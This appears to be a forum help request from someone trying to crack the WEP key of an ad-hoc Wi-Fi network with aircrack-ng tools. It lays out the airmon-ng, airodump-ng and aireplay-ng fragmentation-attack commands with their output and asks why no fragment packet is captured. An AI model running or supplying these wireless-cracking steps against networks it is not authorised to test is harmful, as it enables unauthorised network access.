Good evening everyone,

I am attempting to crack a WEP Passkey on an Ad-Hoc network. However, during the aireplay stage below, it does not show that the network is available whereas airmon-ng does.

airmon-ng start wlan0

Interface       Chipset         Driver

wlan0           Atheros         ath5k - [phy0]
                                (monitor mode enabled on mon0)
Then follows,

airodump-ng mon0
Which gives me:

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
02:12:F0:00:02:AC   -1       56        8    0  11  54e. WEP  WEP         asdfgh
So I continue:

airodump-ng --bssid 02:12:F0:00:02:AC --channel 11 --ivs -w asdfgh mon0
I return with the screen getting the .ivs, and I see the .ivs populating on my desktop. So I continue:

aireplay-ng -5 -b 02:12:F0:00:02:AC mon0
With that, i get the return of

root@bt:~# aireplay-ng -5 -b 02:12:F0:00:02:AC mon0
No source MAC (-h) specified. Using the device MAC (00:1F:3A:A3:5D:BA)
17:04:41  Waiting for beacon frame (BSSID: 02:12:F0:00:02:AC) on channel 11
17:04:51  No such BSSID available.
Please specify an ESSID (-e).
However if I were to use an ESSID (-e) I use:

aireplay-ng -5 -e asdfgh mon0
I see that it is waiting for packets, like this below but it will go for longer without receiving a fragment.

root@bt:~# aireplay-ng -5 -e asdfgh mon0
No source MAC (-h) specified. Using the device MAC (00:1F:3A:A3:5D:BA)
17:06:24  Waiting for beacon frame (ESSID: asdfgh) on channel 11
Found BSSID "00:12:F0:D0:FE:E2" to given ESSID "asdfgh".
17:06:24  Waiting for a data packet...
^Cad 3556 packets...
Sadly, without a fragment packet I do not know if it is possible to go on. If someoen would be able to point out my flaws, that would be great. Thank you for your time and reading this insanely long post.
